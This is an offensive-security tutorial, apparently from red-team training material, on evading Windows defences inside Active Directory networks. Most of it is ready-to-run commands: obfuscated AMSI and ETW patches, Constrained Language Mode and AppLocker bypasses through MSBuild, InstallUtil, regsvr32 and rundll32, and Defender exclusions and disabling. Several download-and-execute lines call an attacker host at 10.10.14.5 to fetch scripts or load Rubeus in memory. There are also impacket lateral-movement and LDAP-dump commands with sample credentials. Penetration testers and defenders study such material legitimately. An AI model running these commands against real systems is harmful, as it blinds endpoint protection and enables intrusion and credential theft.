Defense Evasion in AD Environments

Bypass AMSI, ETW, PowerShell Constrained Language Mode, AppLocker, and Defender. Understand OPSEC considerations for Kerberos vs NTLM, ticket forging noise, and LDAP query footprints.

Sections Defense Evasion in AD Environments

You have a foothold and need to run tools without getting caught. Modern AD environments deploy multiple layers of detection: AMSI scans PowerShell and .NET content, ETW feeds telemetry to EDR, Constrained Language Mode restricts PowerShell, AppLocker blocks unsigned binaries, and Defender catches known tools. This covers bypasses for each layer and OPSEC considerations for AD-specific attacks.


AMSI Bypass

AMSI (Antimalware Scan Interface) scans PowerShell scripts, .NET assemblies, VBA macros, and JavaScript before execution. Bypassing AMSI is usually the first step before loading any offensive tool in memory.

Common AMSI Bypasses

powershell
# Matt Graeber's reflection bypass (patching the AmsiScanBuffer function)
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# If the above is signatured, obfuscate the strings
PS C:\> $a = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
PS C:\> $b = $a.GetField('am'+'siIn'+'itFailed','NonPublic,Static')
PS C:\> $b.SetValue($null,$true)

# Forcing an AMSI error (causes AMSI to fail open)
PS C:\> $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiSession','NonPublic,Static').SetValue($null,$null)
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]$mem)

AMSI Bypass via Memory Patching

powershell
# Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN
PS C:\> $patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
PS C:\> $addr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
>>   (Get-ProcAddress amsi.dll AmsiScanBuffer),
>>   [Func[IntPtr, UInt32, IntPtr, IntPtr, [Runtime.InteropServices.Marshal+AMSI_RESULT], Int32]]
>> )
# Full implementation requires P/Invoke for VirtualProtect to make the memory writable
AMSI bypasses get signatured regularly. The key is obfuscation: break up known strings, use variable concatenation, encode with Base64, or use reflection to access fields dynamically. The underlying technique (patching amsiInitFailed or AmsiScanBuffer) remains the same.

amsi.fail

The amsi.fail website generates obfuscated AMSI bypasses on demand. Each payload is unique to avoid signature detection.

terminal
# Generate a bypass from amsi.fail
root@localhost:~# curl -s https://amsi.fail/
# Copy the output and run in PowerShell before loading tools

ETW Bypass

ETW (Event Tracing for Windows) feeds telemetry to EDR solutions. Patching ETW prevents tools like Seatbelt, Rubeus, and SharpHound from being logged by the .NET runtime.

powershell
# Patch EtwEventWrite to return immediately
PS C:\> $etw = [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance')
# This disables ETW for the current PowerShell session

# Alternative: patch ntdll!EtwEventWrite
# Requires P/Invoke to VirtualProtect + write a ret instruction

SharpBlock / ETWBypass

powershell
# Inline .NET ETW patch (disables Threat Intelligence ETW provider)
PS C:\> [Reflection.Assembly]::Load([Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/etw_bypass_b64.txt')))
ETW patching disables logging for the current process only. Other processes on the system continue to generate ETW events normally. If EDR hooks kernel-level ETW providers, user-mode patching will not help.

PowerShell Constrained Language Mode Bypass

Constrained Language Mode (CLM) restricts PowerShell to basic cmdlets and blocks access to .NET types, COM objects, and custom classes. It is typically enforced via AppLocker or WDAC policies.

Detect CLM

powershell
PS C:\> $ExecutionContext.SessionState.LanguageMode
# "FullLanguage" = unrestricted
# "ConstrainedLanguage" = CLM active

CLM Bypasses

powershell
# PowerShell version 2 (does not support CLM, but may be removed)
PS C:\> powershell -version 2

# PSByPassCLM - custom runspace that bypasses CLM
PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U C:\Temp\PSBypassCLM.exe

# MSBuild inline task (executes C# outside of PowerShell)
PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\bypass.csproj

Use Compiled Binaries Instead

When CLM blocks PowerShell tooling, switch to compiled C# alternatives.

PowerShell Tool C# Alternative
PowerView SharpView
SharpHound.ps1 SharpHound.exe
PowerUp SharpUp
Invoke-Mimikatz Mimikatz.exe or SafetyKatz
PowerView ACL functions SharpDPAPI, dacledit
If CLM is enforced, do not fight it in PowerShell. Use compiled .NET binaries (SharpView, SharpHound, Rubeus, Certify) executed directly or through execute-assembly in C2 frameworks. CLM does not affect .exe execution.

AppLocker Bypass

AppLocker restricts which executables, scripts, and DLLs can run. It is commonly configured to block execution from user-writable directories like C:\Users\ and C:\Temp\.

Find Writable + Allowed Directories

powershell
# Check AppLocker policy
PS C:\> Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Common AppLocker-whitelisted writable locations
# C:\Windows\Tasks\
# C:\Windows\Temp\
# C:\Windows\System32\spool\drivers\color\
# C:\Windows\tracing\
# C:\Windows\Microsoft.NET\Framework64\v4.0.30319\

Execution from Whitelisted Paths

powershell
# Copy your binary to a whitelisted location
PS C:\> copy C:\Users\svc_backup\Downloads\Rubeus.exe C:\Windows\Tasks\Rubeus.exe
PS C:\> C:\Windows\Tasks\Rubeus.exe triage

LOLBAS (Living Off the Land Binaries)

Use trusted Microsoft binaries to execute arbitrary code.

powershell
# MSBuild (compiles and executes inline C# tasks)
PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\payload.csproj

# InstallUtil (runs .NET installers, can execute custom code in Uninstall method)
PS C:\> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U C:\Temp\payload.exe

# Regsvr32 (downloads and executes SCT files)
PS C:\> regsvr32 /s /n /u /i:http://10.10.14.5:8080/payload.sct scrobj.dll

# Rundll32 (executes DLL exports)
PS C:\> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/shell.ps1')");

Windows Defender Evasion

Check Defender Status

powershell
PS C:\> Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled, IoavProtectionEnabled, AntispywareEnabled, BehaviorMonitorEnabled

# Check exclusions (requires admin)
PS C:\> Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
PS C:\> Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
PS C:\> Get-MpPreference | Select-Object -ExpandProperty ExclusionExtension

Add Defender Exclusions (Requires Admin)

powershell
# Exclude a directory
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"

# Exclude a process
PS C:\> Add-MpPreference -ExclusionProcess "Rubeus.exe"

# Exclude an extension
PS C:\> Add-MpPreference -ExclusionExtension ".exe"

# Disable real-time protection (requires admin, generates alerts)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
Adding Defender exclusions and disabling real-time protection generate Windows events and tamper protection alerts. In environments with tamper protection enabled (Defender for Endpoint), you cannot disable Defender from the local machine at all.

Evasion Without Disabling Defender

powershell
# Use in-memory execution (no file on disk)
PS C:\> $data = (New-Object Net.WebClient).DownloadData('http://10.10.14.5:8080/Rubeus.exe')
PS C:\> [System.Reflection.Assembly]::Load($data)
PS C:\> [Rubeus.Program]::Main(@('triage'))

# Use obfuscated/custom-compiled tools
# Defender signatures target specific byte patterns
# Recompiling from source with minor modifications often bypasses static detection

# Use signed Microsoft binaries (LOLBAS) for initial access
# Then load custom tools into memory

AD Attack OPSEC Comparison

Authentication Protocol Noise

Action Protocol Events Generated Noise Level
Password spray (Kerberos) Kerberos 4768 (AS-REQ) per attempt Low
Password spray (LDAP) LDAP 4625 (logon failure) Medium
Password spray (SMB) NTLM 4625 + 4776 Medium-High
Kerberoasting (RC4) Kerberos 4769 with RC4 encryption High (anomalous)
Kerberoasting (AES) Kerberos 4769 with AES encryption Low (normal traffic)
AS-REP roasting Kerberos 4768 Low
LDAP enumeration LDAP 1644 (if LDAP logging enabled) Low

Lateral Movement Noise

Method Events on Target Service Created Files Written
PsExec 7045, 4624(3), 4688 Yes Yes (binary)
WMI 4624(3), 4688 No Output file
WinRM 4624(3), 91, 168 No No
DCOM 4624(3), 4688 No No
smbexec 7045, 4624(3) Yes (per command) Output file
atexec 4624(3), 4698 No Output file
RDP 4624(10), 4778 No No

Ticket Forging Noise

Ticket AS-REQ Generated TGS-REQ Generated PAC Validation
Golden Ticket No (suspicious) Yes Bypassed (forged PAC)
Silver Ticket No No (goes directly to service) Bypassed
Diamond Ticket Yes (legitimate) Yes Modified after legitimate issuance
Sapphire Ticket Yes (legitimate) Yes Legitimate PAC via S4U

Minimizing Footprint

LDAP Queries

terminal
# Instead of querying every object individually, do a single dump and parse offline
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
  -b "DC=corp,DC=local" "(objectClass=*)" > full_dump.txt

# Parse locally
root@localhost:~# grep "sAMAccountName:" full_dump.txt | awk '{print $2}' > users.txt

BloodHound Collection

powershell
# Use DCOnly to avoid touching workstations
PS C:\> .\SharpHound.exe -c DCOnly

# Use Stealth mode
PS C:\> .\SharpHound.exe -c All --stealth

# Throttle and jitter
PS C:\> .\SharpHound.exe -c All --jitter 30 --throttle 2000

Credential Use

terminal
# Prefer Kerberos over NTLM (AES keys > RC4 > NTLM hash)
root@localhost:~# impacket-getTGT corp.local/svc_backup -aesKey 4a3f2b1c... -dc-ip 10.10.11.35
root@localhost:~# export KRB5CCNAME=svc_backup.ccache

# All subsequent commands use Kerberos
root@localhost:~# impacket-psexec corp.local/svc_backup@ws01.corp.local -k -no-pass

# Avoid using the same account for multiple lateral movement hops
# Each hop should ideally use a different credential